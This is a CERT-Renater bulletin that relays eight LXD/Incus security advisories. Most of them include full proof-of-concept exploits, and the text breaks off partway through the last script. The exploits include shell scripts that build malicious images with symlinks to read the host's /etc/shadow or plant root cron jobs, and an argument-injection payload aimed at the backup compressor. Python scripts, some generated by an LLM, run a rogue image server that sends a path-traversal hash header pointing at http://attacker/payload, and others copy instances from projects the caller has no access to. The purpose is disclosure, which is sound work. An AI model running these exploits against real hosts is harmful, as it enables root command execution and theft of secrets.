Ce mail provient de l'extérieur, restons vigilants ===================================================================== CERT-Renater Note d'Information No. 2026/VULN692 _____________________________________________________________________ DATE : 30/06/2026 HARDWARE PLATFORM(S): / OPERATING SYSTEM(S): Systems running LXD versions prior to 6.9, 5.21.5, 5.0.7, 4.0.11. ===================================================================== https://github.com/canonical/lxd/security/advisories/GHSA-47w9-6r3f-938g https://github.com/canonical/lxd/security/advisories/GHSA-9j25-mm2h-2f76 https://github.com/canonical/lxd/security/advisories/GHSA-jpf8-86f3-wp38 https://github.com/canonical/lxd/security/advisories/GHSA-vghh-5rfx-xhq8 https://github.com/canonical/lxd/security/advisories/GHSA-fmc8-p6q7-75cc https://github.com/canonical/lxd/security/advisories/GHSA-pjff-c2wc-f6jm https://github.com/canonical/lxd/security/advisories/GHSA-qx75-2p3r-pwm5 https://github.com/canonical/lxd/security/advisories/GHSA-7mr3-28h5-m5vx _____________________________________________________________________ Restricted project bypass leading to arbitrary command execution Critical tomponline published GHSA-47w9-6r3f-938g Package LXD Affected versions >= 4.12 Patched versions 6.9, 5.21.5, 5.0.7 Description Reported from GHSA-48q5-w887-33wv Summary Instance snapshots ignore the restricted.containers.lowlevel=block setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as raw.lxc and raw.qemu. Details Instance snapshots ignore the restricted.containers.lowlevel=block setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as raw.lxc and raw.qemu. As snapshots can be moved from one server to another, a malicious instance+snapshot can be crafted locally, moved to a restricted project and the snapshot restored for arbitrary command execution. In practice, this allows a malicious actor to execute arbitrary commands on the host with root privileges. PoC # remote, restricted incus project set rem:project restricted.true incus project set rem:project restricted.containers.lowlevel=block # locally, unrestricted project incus init images:debian/trixie rce-raw-lxc incus config set rce-raw-lxc raw.lxc='lxc.hook.pre-start = /bin/sh -c "/bin/id >/lxc-hook-prestart"' incus snapshot create rce-raw-lxc snap0 #> allow transfer to restricted project incus config unset rce-raw-lxc raw.lxc # locally, transfer and trigger incus move rce-raw-lxc rem: --mode push incus snapshot restore rem:rce-raw-lxc snap0 incus start rem:rce-raw-lxc Impact Bypass of project restrictions. Arbitrary command execution on the Incus server. Severity Critical 9.9/ 10 CVSS v3 base metrics Attack vector Network Attack complexity Low Privileges required Low User interaction None Scope Changed Confidentiality High Integrity High Availability High CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H CVE ID CVE-2026-48751 Weaknesses No CWEs Credits @antifob antifob Reporter @stgraber stgraber Coordinator _____________________________________________________________________ Arbitrary file write on host via `exec-output` symlink in crafted image Critical tomponline published GHSA-9j25-mm2h-2f76 Package LXD Affected versions >= 4.0.0 Patched versions 6.9, 5.21.5, 5.0.7, 4.0.11 Description Reported from GHSA-48q5-w887-33wv Summary The record-output parameter of the /instances/$name/exec endpoint stores the output of the command in the exec-output directory of the instance. If exec-output is a symlink, file named exec_UUID.stdout and exec_UUID.stderr can be written to an arbitrary location where the .stdout file will contain arbitrary content. This behavior can be abused for arbitrary command execution. Details When an image is unpacked, top-level symlinks are extracted as is; allowing for exec-output to be placed on disk. In instance_exec.go, os.Mkdir continues of exec-output exists and os.OpenFile follows the exec-output symlink. PoC Below, we place the exec_UUID.stdout file in /etc/cron.d on the host for arbitrary command execution. #!/bin/sh # usage: $0 existing-imagefp set -eu basefp="${1}" die() { printf '%s' "${@}" >&2 exit 1 } command -v curl >/dev/null 2>&1 || die 'error: curl not found\n' command -v python3 >/dev/null 2>&1 || die 'error: python3 not found\n' tmpdir=$(mktemp -d) cleanup() { rm -rf "${tmpdir}" } trap cleanup EXIT INT QUIT TERM HUP # insert exec-output symlink incus image export "${basefp}" "${tmpdir}/img" mkdir "${tmpdir}/repack" cd "${tmpdir}/repack" xz -cd "${tmpdir}/img" | tar -f- -vx rm -rf exec-output ln -s /etc/cron.d exec-output tar -f- -c * | gzip -c9 >"${tmpdir}/img" cd - >/dev/null incus image import "${tmpdir}"/img* --alias afw-exec-output # Launch container, exec with record-output via REST API incus launch afw-exec-output afw-exec-output incus wait afw-exec-output ip OP=$(curl -s --unix-socket /var/lib/incus/unix.socket \ -X POST -H 'Content-Type: application/json' \ -d '{"command":["/bin/sh","-c","echo * * * * * root id'"'>'"'/afw-exec-output"],"record-output":true}' \ "lxd/1.0/instances/afw-exec-output/exec" | python3 -c "import sys,json;print(json.load(sys.stdin)['operation'])") curl -s --unix-socket /var/lib/incus/unix.socket "$OP/wait?timeout=30" >/dev/null #find /etc/cron.d/exec_* -exec cat {} \; Impact Constrained file creation in an arbitrary directory on the host via via an unsanitized symlink; possibly leading to command execution. Severity Critical 9.9/ 10 CVSS v3 base metrics Attack vector Network Attack complexity Low Privileges required Low User interaction None Scope Changed Confidentiality High Integrity High Availability High CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H CVE ID CVE-2026-48750 Weaknesses No CWEs Credits @antifob antifob Reporter @stgraber stgraber Coordinator _____________________________________________________________________ Arbitrary file read+write on host via templates/ symlink in malicious image Critical tomponline published GHSA-jpf8-86f3-wp38 Package LXD Affected versions >= 4.0.0 Patched versions 6.9, 5.21.5, 5.0.7, 4.0.11 Description Reported from GHSA-vxp5-584q-c479 Summary A specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution. Details For container images, internal/server/storage/utils.go calls archive.Unpack(imageFile, destPath, ...). The tar extraction path in shared/archive/archive.go excludes device nodes, but it does not reject a top-level templates symlink. In practice, this allows a malicious actor to access an arbitrary directory and edit arbitrary files in it. PoC Below, we map the templates directory to /etc/cron.d on the host, but it can be mapped anywhere. We then create a cronjob to run id as root. #!/bin/sh set -eu tmpdir=$(mktemp -d) cleanup() { rm -rf "${tmpdir}" } trap cleanup EXIT INT QUIT TERM HUP mkdir -p "${tmpdir}/img/rootfs" ln -s /etc/cron.d "${tmpdir}/img/templates" cat<<__EOF__>"${tmpdir}/img/metadata.yaml" architecture: x86_64 creation_date: 1 properties: description: PoC templates symlink host afrw __EOF__ cd "${tmpdir}/img" tar --owner=0 --group=0 -f- -c * >../afrw-image-templates-symlink.tar incus image import ../afrw-image-templates-symlink.tar --alias afrw-image-templates-symlink incus init afrw-image-templates-symlink afrw-image-templates-symlink incus config template ls afrw-image-templates-symlink # read #incus config template show afrw-image-templates-symlink $FILENAME # write printf "* * * * * root sh -c 'id>/pwned'\n" | incus config template create afrw-image-templates-symlink poc-32 #incus config template edit afrw-image-templates-symlink poc Impact Arbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution. Severity Critical 9.9/ 10 CVSS v3 base metrics Attack vector Network Attack complexity Low Privileges required Low User interaction None Scope Changed Confidentiality High Integrity High Availability High CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H CVE ID CVE-2026-48752 Weaknesses No CWEs Credits @antifob antifob Reporter @stgraber stgraber Coordinator _____________________________________________________________________ Arbitrary file read+write on host via rootfs/ symlink in malicious image Critical tomponline published GHSA-vghh-5rfx-xhq8 Package LXD Affected versions >= 4.0.0 Patched versions 6.9, 5.21.5, 5.0.7, 4.0.11 Description Reported from GHSA-2q3f-q5pq-g8wv Summary A specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution. Details Incus validates an image as soon as it sees a normal metadata.yaml and a rootfs/ entry, but full extraction can later process a duplicate top-level rootfs symlink. Later, the stopped-container file API opens d.RootfsPath() and passes that file descriptor to forkfile, which chroots to it. metadata.yaml rootfs/ rootfs -> / In practice, this allows a malicious actor to access the host's filesystem with root privileges. PoC Below, we map the container's rootfs to / on the host, but it can be mapped anywhere. We then retrieve the host's /etc/shadow file and create a file in /. #!/bin/sh set -eu tmpdir=$(mktemp -d) cleanup() { rm -rf "${tmpdir}" } trap cleanup EXIT INT QUIT TERM HUP mkdir -p "${tmpdir}/img/rootfs" cat<<__EOF__>"${tmpdir}/img/metadata.yaml" architecture: x86_64 creation_date: 1 properties: description: PoC rootfs symlink host afrw __EOF__ cd "${tmpdir}/img" tar --owner=0 --group=0 -f- -c * >../afrw-rootfs-symlink.tar # inject rootfs symlink rmdir rootfs ln -s / rootfs tar --owner=0 --group=0 -f ../afrw-rootfs-symlink.tar --append rootfs incus image import ../afrw-rootfs-symlink.tar --alias afrw-rootfs-symlink incus init afrw-rootfs-symlink afrw-rootfs-symlink # read incus file pull afrw-rootfs-symlink/etc/shadow "${tmpdir}/shadow" cat "${tmpdir}/shadow" # write printf 'afrw-rootfs-symlink\n' >"${tmpdir}/afrw-rootfs-symlink" incus file push "${tmpdir}/afrw-rootfs-symlink" afrw-rootfs-symlink/ Impact Arbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution. Severity Critical 9.9/ 10 CVSS v3 base metrics Attack vector Network Attack complexity Low Privileges required Low User interaction None Scope Changed Confidentiality High Integrity High Availability High CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H CVE ID CVE-2026-48749 Weaknesses No CWEs Credits @antifob antifob Reporter @stgraber stgraber Coordinator _____________________________________________________________________ Argument injection in backup compression algorithm leading to AFW and ACE Critical tomponline published GHSA-fmc8-p6q7-75cc Package LXD Affected versions >= 4.0.0 Patched versions 6.9, 5.21.5, 5.0.7, 4.0.11 Description Reported from GHSA-v6mj-8pf4-hhw4 Summary Improper validation of user-provided backup compression algorithm leads to argument injection in the constructed command line. This leads to an arbitrary file write on the host, possibly leading to arbitrary command execution. Details Incus validates compression_algorithm by parsing it into fields and checking only the first token against an allowlist: fields, err := shellquote.Split(value) ... if !slices.Contains([]string{"bzip2", "gzip", "lz4", "lzma", "pigz", "pzstd", "pxz", "tar2sqfs", "xz", "zstd"}, fields[0]) { return fmt.Errorf("Compression algorithm %q isn't currently supported", fields[0]) } _, err = exec.LookPath(fields[0]) Extra arguments are not rejected. compressFile() then prepends -c and passes the remaining user-supplied fields to the compressor: args := []string{"-c"} if len(fields) > 1 { args = append(args, fields[1:]...) } cmd := exec.Command(fields[0], args...) cmd.Stdin = infile cmd.Stdout = outfile With a value like: zstd -d -f --pass-through -o /etc/cron.d/incus-zstd-rce -- /var/lib/incus/.../payload the daemon executes the equivalent of: zstd -c -d -f --pass-through -o /etc/cron.d/incus-zstd-rce -- /var/lib/incus/.../payload PoC python3 poc.py \ --insecure --url https://remote-incus:8443 \ --cert ~/.config/incus/client.crt --key ~/.config/incus/client.key \ --instance c01 \ --execute --yes-i-understand-this-writes-host-file The following was generated by an LLM model. #!/usr/bin/env python3 """Short remote Incus backup compression zstd cron RCE PoC. Dry-run is the default. --execute uploads a cron payload into an instance and then asks Incus for a direct backup with a zstd argument-injection compressor: zstd -c -d -f --pass-through -o /etc/cron.d/incus-zstd-rce -- The direct backup may fail after zstd runs; the host file write is the primitive. Use only on an authorized Incus server. """ from __future__ import annotations import argparse import json import os import shlex import sys import urllib.parse from pathlib import PurePosixPath from typing import Any import requests def q(value: str) -> str: return urllib.parse.quote(value, safe="") def api(base: str, endpoint: str, **params: str) -> str: return base.rstrip("/") + endpoint + ("?" + urllib.parse.urlencode(params) if params else "") def project_instance(project: str, instance: str) -> str: return instance if project == "default" else f"{project}_{instance}" def clean_guest_path(path: str) -> str: if not path.startswith("/"): raise ValueError("--guest-path must be absolute") if ".." in PurePosixPath(path).parts: raise ValueError("--guest-path must not contain '..'") return os.path.normpath("/" + path.lstrip("/")).lstrip("/") def source_path(args: argparse.Namespace) -> str: if args.source_host_path: return args.source_host_path return os.path.join( args.incus_dir, "storage-pools", args.pool, args.storage_kind, project_instance(args.project, args.instance), "rootfs", clean_guest_path(args.guest_path), ) def cron(command: str) -> bytes: return f"* * * * * root /bin/sh -c {shlex.quote(command)}\n".encode() def session(args: argparse.Namespace) -> requests.Session: s = requests.Session() s.verify = False if args.insecure else (args.cacert or True) if args.cert or args.key: s.cert = (args.cert, args.key) if args.token: s.headers["Authorization"] = "Bearer " + args.token s.headers["User-Agent"] = "incus-zstd-backup-rce-poc" if args.insecure: requests.packages.urllib3.disable_warnings() # type: ignore[attr-defined] return s def check(resp: requests.Response, what: str) -> requests.Response: if resp.status_code >= 400: try: detail: Any = resp.json() except Exception: detail = resp.text[:2048] raise RuntimeError(f"{what} failed: HTTP {resp.status_code}: {detail}") return resp def upload(s: requests.Session, args: argparse.Namespace, payload: bytes) -> None: url = api(args.url, f"/1.0/instances/{q(args.instance)}/files", project=args.project, path=args.guest_path) headers = { "Content-Type": "application/octet-stream", "X-Incus-type": "file", "X-Incus-write": "overwrite", "X-Incus-uid": "0", "X-Incus-gid": "0", "X-Incus-mode": "0644", } print(f"[*] uploading cron payload to {args.instance}:{args.guest_path}") check(s.post(url, data=payload, headers=headers, timeout=args.timeout), "payload upload") def trigger_backup(s: requests.Session, args: argparse.Namespace, body: dict[str, Any]) -> None: url = api(args.url, f"/1.0/instances/{q(args.instance)}/backups", project=args.project) print("[*] sending direct backup request") resp = s.post( url, data=json.dumps(body).encode(), headers={"Accept": "application/octet-stream", "Content-Type": "application/json"}, timeout=args.timeout, stream=True, ) print(f"[*] backup HTTP {resp.status_code}") resp.close() if resp.status_code >= 400: print("[*] HTTP error after compressor launch is possible; check whether the cron file was written") def parse_args() -> argparse.Namespace: p = argparse.ArgumentParser(description="Remote Incus zstd backup-compression cron RCE PoC") p.add_argument("--url", required=True, help="https://host:8443") p.add_argument("--cert", help="client certificate PEM") p.add_argument("--key", help="client private key PEM") p.add_argument("--cacert", help="CA certificate PEM") p.add_argument("--token", help="bearer token") p.add_argument("--insecure", action="store_true", help="disable TLS verification") p.add_argument("--timeout", type=int, default=180) p.add_argument("--project", default="default") p.add_argument("--instance", required=True) p.add_argument("--pool", default="default") p.add_argument("--storage-kind", choices=["containers", "virtual-machines"], default="containers") p.add_argument("--incus-dir", default="/var/lib/incus") p.add_argument("--guest-path", default="/incus-zstd-cron") p.add_argument("--source-host-path", help="override daemon-readable host path for the staged payload") p.add_argument("--cron-path", default="/etc/cron.d/incus-zstd-rce") p.add_argument("--command", default="date >/incus-zstd-rce; id >>/incus-zstd-rce") p.add_argument("--execute", action="store_true", help="stage payload and send backup request") p.add_argument("--yes-i-understand-this-writes-host-file", action="store_true", help="required with --execute") args = p.parse_args() if urllib.parse.urlparse(args.url).scheme != "https": p.error("--url must use https") if bool(args.cert) != bool(args.key): p.error("--cert and --key must be supplied together") if args.execute and not args.yes_i_understand_this_writes_host_file: p.error("--execute requires --yes-i-understand-this-writes-host-file") try: clean_guest_path(args.guest_path) except ValueError as exc: p.error(str(exc)) args.url = args.url.rstrip("/") return args def main() -> int: args = parse_args() src = source_path(args) payload = cron(args.command) compressor = f"zstd -d -f --pass-through -o {shlex.quote(args.cron_path)} -- {shlex.quote(src)}" body = {"compression_algorithm": compressor, "instance_only": True} print("[*] target:", args.url) print("[*] project:", args.project) print("[*] instance:", args.instance) print("[*] source host path:", src) print("[*] cron path:", args.cron_path) print("[*] payload:", payload.decode().rstrip()) print("[*] backup body:", json.dumps(body, sort_keys=True)) if not args.execute: print("[*] dry run only; add --execute and the confirmation flag to act") return 0 s = session(args) upload(s, args, payload) trigger_backup(s, args, body) return 0 if __name__ == "__main__": try: raise SystemExit(main()) except BrokenPipeError: raise SystemExit(1) except Exception as exc: print(f"[-] {exc}", file=sys.stderr) raise SystemExit(1) Impact Improperly validated compression algorithm argument leads to argument injection leading to arbitrary file write with zstd and possibly arbitrary command execution. Severity Critical 9.9/ 10 CVSS v3 base metrics Attack vector Network Attack complexity Low Privileges required Low User interaction None Scope Changed Confidentiality High Integrity High Availability High CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H CVE ID CVE-2026-48755 Weaknesses No CWEs Credits @antifob antifob Reporter @stgraber stgraber Coordinator _____________________________________________________________________ Arbitrary file write on client due to trusted image hash Critical tomponline published GHSA-pjff-c2wc-f6jm Package lxd Affected versions >= 4.0.0 Patched versions 6.9, 5.21.5, 5.0.7, 4.0.11 Description Reported from GHSA-f6m5-xw2g-xc4x Summary An arbitrary file write exists in the Incus client when a malicious image server returns a crafted Incus-Image-Hash header. This can lead to arbitrary command execution as root on the server. Details cmd/incusd/images.go:611-684 handles source.type=url by HEADing the user-supplied URL, reading Incus-Image-Hash and Incus-Image-URL, and passing them to imageDownload() as Alias and Server. cmd/incusd/daemon_images.go:91-92 defaults fp to the caller-controlled alias string. cmd/incusd/daemon_images.go:333-335 builds destName := filepath.Join(destDir, fp). cmd/incusd/daemon_images.go:469-523 enters the direct protocol branch, opens destName with os.Create(), and copies the HTTP response into that file. cmd/incusd/daemon_images.go:528-532 validates the SHA-256 only after the file has already been created and populated. cmd/incusd/daemon_images.go:337-344 cleanup only runs after the copy returns; a slow or held response extends the arbitrary-write window. A malicious image server returning something along the following will cause the arbitrary file write. Incus-Image-Hash: ../../../../etc/cron.d/incus-direct-image-url-rce Incus-Image-URL: http://attacker/payload PoC The script below creates a malicious image server and requests an Incus server to fetch the image. File write occurs when the image is unpacked. The following script was generated by an LLM. #!/usr/bin/env python3 """Direct image URL hash path traversal to transient host cron write. For `source.type=url`, Incus first HEADs an attacker-controlled URL and trusts the `Incus-Image-Hash` header as the expected fingerprint. The direct download path then creates `/var/lib/incus/images/` before validating that the hash is a real SHA-256 of the downloaded bytes. A hash containing `../` escapes the image directory. Default mode is dry-run. With --execute-trigger this script starts a tiny HTTP server, returns a traversal hash pointing at cron, streams the cron payload, and keeps the response open so the daemon-side cleanup does not immediately remove the file. """ from __future__ import annotations import argparse import http.client import json import shlex import socket import ssl import sys import threading import time import urllib.parse from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer from typing import Any DEFAULT_SOCKET = "/var/lib/incus/unix.socket" DEFAULT_TRAVERSAL = "../../../../etc/cron.d/incus-direct-image-url-rce" class UnixHTTPConnection(http.client.HTTPConnection): def __init__(self, socket_path: str, timeout: int = 120): super().__init__("incus", timeout=timeout) self.socket_path = socket_path def connect(self) -> None: sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) sock.settimeout(self.timeout) sock.connect(self.socket_path) self.sock = sock class RCEHTTPServer(ThreadingHTTPServer): hash_path: str advertise_url: str payload: bytes hold_seconds: int payload_requested: threading.Event class DirectImageHandler(BaseHTTPRequestHandler): protocol_version = "HTTP/1.1" server_version = "direct-image-rce/1.0" def log_message(self, fmt: str, *args: Any) -> None: print(f"[http] {self.address_string()} - {fmt % args}", flush=True) def do_HEAD(self) -> None: if self.path != "/stage": self.send_error(404) return srv = self.server assert isinstance(srv, RCEHTTPServer) self.send_response(200) self.send_header("Incus-Image-Hash", srv.hash_path) self.send_header("Incus-Image-URL", srv.advertise_url.rstrip("/") + "/payload") self.send_header("Connection", "close") self.end_headers() def do_GET(self) -> None: if self.path != "/payload": self.send_error(404) return srv = self.server assert isinstance(srv, RCEHTTPServer) srv.payload_requested.set() self.send_response(200) self.send_header("Content-Type", "application/octet-stream") self.send_header("Cache-Control", "no-store") self.end_headers() self.wfile.write(srv.payload) self.wfile.flush() print(f"[*] payload bytes written to daemon response; holding for {srv.hold_seconds}s", flush=True) time.sleep(srv.hold_seconds) self.close_connection = True def quote(value: str) -> str: return urllib.parse.quote(value, safe="") def tls_context(args: argparse.Namespace) -> ssl.SSLContext: if args.insecure: ctx = ssl._create_unverified_context() else: ctx = ssl.create_default_context(cafile=args.cacert) if args.cert: ctx.load_cert_chain(args.cert, args.key) return ctx def connection(args: argparse.Namespace) -> http.client.HTTPConnection: if args.url: parsed = urllib.parse.urlparse(args.url) if parsed.scheme != "https": raise ValueError("--url must use https") return http.client.HTTPSConnection( parsed.hostname, parsed.port or 8443, timeout=args.timeout, context=tls_context(args), ) return UnixHTTPConnection(args.socket, timeout=args.timeout) def request_json( args: argparse.Namespace, method: str, path: str, obj: dict[str, Any] | None, allow_error: bool = False, ) -> tuple[int, dict[str, Any]]: body = None if obj is None else json.dumps(obj).encode("utf-8") headers = {"Host": "incus"} if body is not None: headers["Content-Type"] = "application/json" conn = connection(args) conn.request(method, path, body=body, headers=headers) resp = conn.getresponse() raw = resp.read() conn.close() try: data = json.loads(raw) if raw else {} except json.JSONDecodeError: data = {"raw": raw.decode("utf-8", "replace")} if not allow_error and (resp.status >= 400 or data.get("type") == "error"): raise RuntimeError(f"{method} {path} failed with HTTP {resp.status}: {data}") return resp.status, data def images_path(project: str) -> str: return "/1.0/images?project=" + quote(project) def cron_payload(command: str) -> bytes: return f"* * * * * root /bin/sh -c {shlex.quote(command)}\n".encode("utf-8") def image_url_body(project_url: str, public: bool) -> dict[str, Any]: return { "source": { "type": "url", "url": project_url.rstrip("/") + "/stage", }, "public": public, } def start_server(args: argparse.Namespace, payload: bytes) -> RCEHTTPServer: server = RCEHTTPServer((args.listen_host, args.listen_port), DirectImageHandler) server.hash_path = args.hash_path server.advertise_url = args.advertise_url server.payload = payload server.hold_seconds = args.hold_seconds server.payload_requested = threading.Event() thread = threading.Thread(target=server.serve_forever, daemon=True) thread.start() return server def main() -> int: parser = argparse.ArgumentParser(description="Incus direct image URL hash traversal cron RCE PoC") parser.add_argument("--socket", default=DEFAULT_SOCKET, help="Incus Unix socket") parser.add_argument("--url", help="remote Incus URL, for example https://host.ctf:8443") parser.add_argument("--cert", help="client certificate for remote Incus") parser.add_argument("--key", help="client private key for remote Incus") parser.add_argument("--cacert", help="CA certificate for remote Incus") parser.add_argument("--insecure", action="store_true", help="disable TLS verification") parser.add_argument("--timeout", type=int, default=120, help="Incus request timeout") parser.add_argument("--project", default="default", help="project used for image import") parser.add_argument("--public", action="store_true", help="mark imported image public") parser.add_argument("--listen-host", default="0.0.0.0", help="HTTP listen address") parser.add_argument("--listen-port", type=int, default=8088, help="HTTP listen port") parser.add_argument("--advertise-url", default="http://127.0.0.1:8088", help="URL reachable by the Incus daemon") parser.add_argument("--hash-path", default=DEFAULT_TRAVERSAL, help="value returned in Incus-Image-Hash") parser.add_argument("--hold-seconds", type=int, default=90, help="keep payload response open for this many seconds") parser.add_argument("--command", default="id > /tmp/incus-direct-image-url-rce", help="command cron should run") parser.add_argument("--execute-trigger", action="store_true", help="start server and trigger POST /1.0/images") parser.add_argument("--yes-i-understand-this-writes-host-file", action="store_true", help="required with --execute-trigger") args = parser.parse_args() if bool(args.cert) != bool(args.key): parser.error("--cert and --key must be supplied together") if args.execute_trigger and not args.yes_i_understand_this_writes_host_file: parser.error("--execute-trigger requires --yes-i-understand-this-writes-host-file") payload = cron_payload(args.command) trigger_body = image_url_body(args.advertise_url, args.public) print("[*] exploit primitive: direct image URL unvalidated hash path host write") print(f"[*] HEAD URL served to daemon: {args.advertise_url.rstrip()}/stage") print(f"[*] returned Incus-Image-Hash: {args.hash_path}") print(f"[*] returned Incus-Image-URL: {args.advertise_url.rstrip()}/payload") print(f"[*] expected escaped host target from default Incus dir: /etc/cron.d/incus-direct-image-url-rce") print(f"[*] cron payload: {payload.decode().rstrip()}") print(f"[*] trigger body: {json.dumps(trigger_body, sort_keys=True)}") if not args.execute_trigger: print("[*] dry run only; pass --execute-trigger and --yes-i-understand-this-writes-host-file to test") return 0 server = start_server(args, payload) print(f"[*] HTTP server listening on {args.listen_host}:{args.listen_port}") status, data = request_json(args, "POST", images_path(args.project), trigger_body, allow_error=True) print(f"[*] POST /1.0/images HTTP {status}: {json.dumps(data, indent=2, sort_keys=True)}") if server.payload_requested.wait(timeout=min(args.hold_seconds, 30)): print("[*] daemon requested payload; cron file should exist until the held response is released") else: print("[!] daemon did not request payload within the wait window") print("[*] leaving HTTP server active for the remaining hold window") time.sleep(max(0, args.hold_seconds - 30)) server.shutdown() server.server_close() return 0 if __name__ == "__main__": try: raise SystemExit(main()) except BrokenPipeError: raise SystemExit(1) except Exception as exc: print(f"[-] {exc}", file=sys.stderr) raise SystemExit(1) Impact An arbitrary file write on the client with root privileges; possibly leading to arbitrary command execution. Severity Critical 7.7/ 10 CVSS v3 base metrics Attack vector Network Attack complexity Low Privileges required Low User interaction None Scope Changed Confidentiality High Integrity High Availability High CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H CVE ID CVE-2026-48769 Weaknesses No CWEs Credits @antifob antifob Reporter @stgraber stgraber Coordinator _____________________________________________________________________ Project restriction bypass in instance copy across projects High tomponline published GHSA-qx75-2p3r-pwm5 Package lxd Affected versions >= 4.12 Patched versions 5.0.7, 5.21.5, 6.8 Description Reported from GHSA-c9f5-j9c3-mhrg Summary Missing authorization checks exist for instance copying where an attacker knowing the name of a project that they don't have access to and the name of an instance in that project can copy the instance to a new project. This issue could allow an attacker to access secrets in instances they are not authorized to access. Details cmd/incusd/instances.go authorizes POST /1.0/instances against the target project. In the copy path, cmd/incusd/instances_post.go then loads the source instance from req.Source.Project without checking whether the caller can view that source instance. From my understanding, the copy must occur on the same server. However, once the copy has been done, nothing prevents a malicious actor from moving the instance to another server. PoC Setup We assume the target server is remotely accessible and a user/certificate has been added. # create a new project and instance incus project create secrets incus profile show default | incus --project secrets edit default incus --project secrets init images:debian/trixie secret # restrict an existing certificate to prevent access to the project incus config trust edit cert-fp #> set, for example restricted: true projects: - default # verification, with the restricted certificate incus ls remote: Exploitation The below script was partly generated. To copy the secret instance to the default project, the following command can be used. python3 poc.py --url https://IP-REMOTE:8443 \ --cert path/to/client.crt --key path/to/client.key \ --target-project default --source-project secrets \ --source-instance secret --name copy-secret --insecure Wait a bit for the instance to be copied, then incus ls remote: to see the copied instance. #!/usr/bin/env python3 """Copy an instance from a project the caller should not be able to read.""" from __future__ import annotations import argparse import json import ssl import sys import urllib.error import urllib.parse import urllib.request def post(url: str, path: str, body: dict, cert: str, key: str, insecure: bool) -> bytes: ctx = ssl.create_default_context() if insecure: ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE ctx.load_cert_chain(cert, key) req = urllib.request.Request( url.rstrip("/") + path, data=json.dumps(body).encode(), method="POST", headers={"Content-Type": "application/json", "Accept": "application/json"}, ) try: with urllib.request.urlopen(req, context=ctx) as resp: return resp.read() except urllib.error.HTTPError as exc: sys.stderr.write(exc.read().decode(errors="replace") + "\n") raise def main() -> int: ap = argparse.ArgumentParser() ap.add_argument("--url", required=True) ap.add_argument("--cert", required=True) ap.add_argument("--key", required=True) ap.add_argument("--target-project", required=True) ap.add_argument("--source-project", required=True) ap.add_argument("--source-instance", required=True) ap.add_argument("--name", required=True, help="new instance name in target project") ap.add_argument("--instance-only", action="store_true") ap.add_argument("--start", action="store_true") ap.add_argument("--insecure", action="store_true") ap.add_argument("--dry-run", action="store_true") args = ap.parse_args() body = { "name": args.name, "source": { "type": "copy", "source": args.source_instance, "project": args.source_project, "instance_only": args.instance_only, }, "start": args.start, } path = "/1.0/instances?" + urllib.parse.urlencode({"project": args.target_project}) print(json.dumps(body, indent=2)) if args.dry_run: return 0 print(post(args.url, path, body, args.cert, args.key, args.insecure).decode(errors="replace")) return 0 if __name__ == "__main__": raise SystemExit(main()) Impact An attacker can copy instances they don't normally have access to, possibly leading to information disclosure. Severity High 7.7/ 10 CVSS v3 base metrics Attack vector Network Attack complexity Low Privileges required Low User interaction None Scope Changed Confidentiality High Integrity None Availability None CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N CVE ID CVE-2026-55622 Weaknesses No CWEs Credits @antifob antifob Reporter @stgraber stgraber Coordinator _____________________________________________________________________ Project restriction bypass for custom volume copy across projects High tomponline published GHSA-7mr3-28h5-m5vx Package lxd Affected versions >= 4.12 Patched versions 5.0.7, 5.21.5, 6.8 Description Reported from GHSA-64f3-v33m-w89f Summary Missing authorization checks exist for custom volume copying where an attacker knowing the name of a project that they don't have access to and the name of a custom volume in that project can copy the custom volume to a new project. This issue could allow an attacker to access secrets in custom volumes they are not authorized to access. Details The storage volume creation handler authorizes creation in the target project, then passes req.Source.Project into the custom-volume copy path without checking that the caller can view the source volume. req.Source.Project is the attacker-controlled field. It is resolved to a storage volume project name and passed directly to CreateCustomVolumeFromCopy. No allowPermission or entitlement check (e.g. CanView on the source volume) is performed. From my understanding, the copy must occur on the same server. However, once the copy has been done, nothing prevents a malicious actor from moving the volume to another server. PoC Setup We assume the target server is remotely accessible and a user/certificate has been added. # create a new project and instance incus project create secrets incus profile show default | incus --project secrets edit default incus --project secrets storage volume create default secret-vol # restrict an existing certificate to prevent access to the project incus config trust edit cert-fp #> set, for example restricted: true projects: - default # verification, with the restricted certificate incus --project secrets storage volume ls remote:default Exploitation The below script was partly generated. To copy the secret instance to the default project, the following command can be used. python3 poc.py --url https://IP-REMOTE:8443 \ --cert path/to/client.crt --key path/to/client.key \ --target-project default --source-project secrets \ --source-volume secret-vol --name copy-secret-vol \ --pool default --source-pool default \ --insecure Wait a bit for the custom volume to be copied, then incus storage volume ls remote:default to see the copied instance. #!/usr/bin/env python3 """Copy a custom storage volume from another project into an allowed project.""" from __future__ import annotations import argparse import json import ssl import sys import urllib.error import urllib.parse import urllib.request def post(url: str, path: str, body: dict, cert: str, key: str, insecure: bool) -> bytes: ctx = ssl.create_default_context() if insecure: ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE ctx.load_cert_chain(cert, key) req = urllib.request.Request( url.rstrip("/") + path, data=json.dumps(body).encode(), method="POST", headers={"Content-Type": "application/json", "Accept": "application/json"}, ) try: with urllib.request.urlopen(req, context=ctx) as resp: return resp.read() except urllib.error.HTTPError as exc: sys.stderr.write(exc.read().decode(errors="replace") + "\n") raise def main() -> int: ap = argparse.ArgumentParser() ap.add_argument("--url", required=True) ap.add_argument("--cert", required=True) ap.add_argument("--key", required=True) ap.add_argument("--pool", required=True) ap.add_argument("--target-project", required=True) ap.add_argument("--source-project", required=True) ap.add_argument("--source-volume", required=True) ap.add_argument("--source-pool") ap.add_argument("--name", required=True, help="new volume name in target project") 